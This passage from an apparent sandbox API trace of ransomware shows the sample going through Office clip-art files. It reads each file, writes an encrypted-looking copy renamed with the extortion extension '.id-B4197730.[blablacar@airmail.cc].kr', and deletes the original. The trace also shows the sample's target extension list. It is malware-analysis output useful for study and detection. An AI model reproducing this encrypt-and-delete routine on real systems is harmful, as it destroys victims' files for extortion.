(lpString=".doc") returned 4 [0217.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.149] lstrlenW (lpString=".docx") returned 5 [0217.149] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0217.149] lstrlenW (lpString=".pdf") returned 4 [0217.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.149] lstrlenW (lpString=".xls") returned 4 [0217.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.150] lstrlenW (lpString=".xlsx") returned 5 [0217.150] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0217.150] lstrlenW (lpString=".ppt") returned 4 [0217.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.150] lstrlenW (lpString=".zip") returned 4 [0217.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.150] lstrlenW (lpString=".rar") returned 4 [0217.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.150] lstrlenW (lpString=".bz2") returned 4 [0217.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.150] lstrlenW (lpString=".7z") returned 3 [0217.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.150] lstrlenW (lpString=".dbf") returned 4 [0217.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.150] lstrlenW (lpString=".1cd") returned 4 [0217.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68 [0217.150] lstrlenW (lpString=".jpg") returned 4 [0217.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.150] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.150] lstrlenW (lpString="J0152594.WMF") returned 12 [0217.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0217.251] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=6340) returned 1 [0217.251] CloseHandle (hObject=0x378) returned 1 [0217.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 0x220 [0217.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0217.253] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.253] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0217.254] GetLastError () returned 0x0 [0217.254] ReadFile (in: hFile=0x378, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x18c4, lpOverlapped=0x0) returned 1 [0217.255] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0217.256] ReadFile (in: hFile=0x378, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.257] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.257] SetEndOfFile (hFile=0x518) returned 1 [0217.257] CloseHandle (hObject=0x518) returned 1 [0217.257] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.257] SetEndOfFile (hFile=0x378) returned 1 [0217.259] CloseHandle (hObject=0x378) returned 1 [0217.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 1 [0217.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.261] lstrlenW (lpString=".doc") returned 4 [0217.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.261] lstrlenW (lpString=".docx") returned 5 [0217.261] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0217.261] lstrlenW (lpString=".pdf") returned 4 [0217.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.261] lstrlenW (lpString=".xls") returned 4 [0217.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.261] lstrlenW (lpString=".xlsx") returned 5 [0217.261] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0217.261] lstrlenW (lpString=".ppt") returned 4 [0217.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.261] lstrlenW (lpString=".zip") returned 4 [0217.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.261] lstrlenW (lpString=".rar") returned 4 [0217.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.261] lstrlenW (lpString=".bz2") returned 4 [0217.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.261] lstrlenW (lpString=".7z") returned 3 [0217.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.261] lstrlenW (lpString=".dbf") returned 4 [0217.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.262] lstrlenW (lpString=".1cd") returned 4 [0217.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.262] lstrlenW (lpString=".jpg") returned 4 [0217.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.262] lstrlenW (lpString=".doc") returned 4 [0217.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.262] lstrlenW (lpString=".docx") returned 5 [0217.262] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0217.262] lstrlenW (lpString=".pdf") returned 4 [0217.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.262] lstrlenW (lpString=".xls") returned 4 [0217.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.262] lstrlenW (lpString=".xlsx") returned 5 [0217.262] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0217.262] lstrlenW (lpString=".ppt") returned 4 [0217.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.262] lstrlenW (lpString=".zip") returned 4 [0217.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.262] lstrlenW (lpString=".rar") returned 4 [0217.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.262] lstrlenW (lpString=".bz2") returned 4 [0217.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.262] lstrlenW (lpString=".7z") returned 3 [0217.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.262] lstrlenW (lpString=".dbf") returned 4 [0217.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.262] lstrlenW (lpString=".1cd") returned 4 [0217.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0217.263] lstrlenW (lpString=".jpg") returned 4 [0217.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.263] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.263] lstrlenW (lpString="J0152600.WMF") returned 12 [0217.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0217.265] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=9768) returned 1 [0217.265] CloseHandle (hObject=0x378) returned 1 [0217.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 0x220 [0217.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0217.265] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.265] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0217.266] GetLastError () returned 0x0 [0217.266] ReadFile (in: hFile=0x378, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x2628, lpOverlapped=0x0) returned 1 [0217.268] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2630, lpOverlapped=0x0) returned 1 [0217.269] ReadFile (in: hFile=0x378, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.269] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.269] SetEndOfFile (hFile=0x518) returned 1 [0217.269] CloseHandle (hObject=0x518) returned 1 [0217.269] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.269] SetEndOfFile (hFile=0x378) returned 1 [0217.272] CloseHandle (hObject=0x378) returned 1 [0217.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 1 [0217.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.274] lstrlenW (lpString=".doc") returned 4 [0217.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.274] lstrlenW (lpString=".docx") returned 5 [0217.274] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0217.274] lstrlenW (lpString=".pdf") returned 4 [0217.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.274] lstrlenW (lpString=".xls") returned 4 [0217.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.274] lstrlenW (lpString=".xlsx") returned 5 [0217.274] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0217.274] lstrlenW (lpString=".ppt") returned 4 [0217.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.274] lstrlenW (lpString=".zip") returned 4 [0217.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.274] lstrlenW (lpString=".rar") returned 4 [0217.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.274] lstrlenW (lpString=".bz2") returned 4 [0217.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.274] lstrlenW (lpString=".7z") returned 3 [0217.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.275] lstrlenW (lpString=".dbf") returned 4 [0217.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.275] lstrlenW (lpString=".1cd") returned 4 [0217.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.275] lstrlenW (lpString=".jpg") returned 4 [0217.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.275] lstrlenW (lpString=".doc") returned 4 [0217.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.275] lstrlenW (lpString=".docx") returned 5 [0217.275] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0217.275] lstrlenW (lpString=".pdf") returned 4 [0217.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.275] lstrlenW (lpString=".xls") returned 4 [0217.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.275] lstrlenW (lpString=".xlsx") returned 5 [0217.275] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0217.276] lstrlenW (lpString=".ppt") returned 4 [0217.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.276] lstrlenW (lpString=".zip") returned 4 [0217.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.276] lstrlenW (lpString=".rar") returned 4 [0217.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.276] lstrlenW (lpString=".bz2") returned 4 [0217.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.276] lstrlenW (lpString=".7z") returned 3 [0217.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.276] lstrlenW (lpString=".dbf") returned 4 [0217.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.276] lstrlenW (lpString=".1cd") returned 4 [0217.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0217.276] lstrlenW (lpString=".jpg") returned 4 [0217.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.276] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.276] lstrlenW (lpString="J0152602.WMF") returned 12 [0217.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0217.281] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=6276) returned 1 [0217.281] CloseHandle (hObject=0x378) returned 1 [0217.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 0x220 [0217.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0217.282] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.282] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0217.283] GetLastError () returned 0x0 [0217.283] ReadFile (in: hFile=0x378, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1884, lpOverlapped=0x0) returned 1 [0217.284] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1890, lpOverlapped=0x0) returned 1 [0217.285] ReadFile (in: hFile=0x378, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.285] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.285] SetEndOfFile (hFile=0x518) returned 1 [0217.286] CloseHandle (hObject=0x518) returned 1 [0217.286] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.286] SetEndOfFile (hFile=0x378) returned 1 [0217.403] CloseHandle (hObject=0x378) returned 1 [0217.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 1 [0217.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.430] lstrlenW (lpString=".doc") returned 4 [0217.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.430] lstrlenW (lpString=".docx") returned 5 [0217.430] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0217.430] lstrlenW (lpString=".pdf") returned 4 [0217.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.430] lstrlenW (lpString=".xls") returned 4 [0217.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.431] lstrlenW (lpString=".xlsx") returned 5 [0217.431] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0217.431] lstrlenW (lpString=".ppt") returned 4 [0217.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.431] lstrlenW (lpString=".zip") returned 4 [0217.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.431] lstrlenW (lpString=".rar") returned 4 [0217.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.431] lstrlenW (lpString=".bz2") returned 4 [0217.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.431] lstrlenW (lpString=".7z") returned 3 [0217.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.431] lstrlenW (lpString=".dbf") returned 4 [0217.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.431] lstrlenW (lpString=".1cd") returned 4 [0217.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.431] lstrlenW (lpString=".jpg") returned 4 [0217.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0217.432] lstrlenW (lpString=".doc") returned 4 [0217.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.432] lstrlenW (lpString=".docx") returned 5 [0217.432] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0217.432] lstrlenW (lpString=".pdf") returned 4 [0217.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.432] lstrlenW (lpString=".xls") returned 4 [0217.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.432] lstrlenW (lpString=".xlsx") returned 5 [0217.432] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0217.432] lstrlenW (lpString=".ppt") returned 4 [0217.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 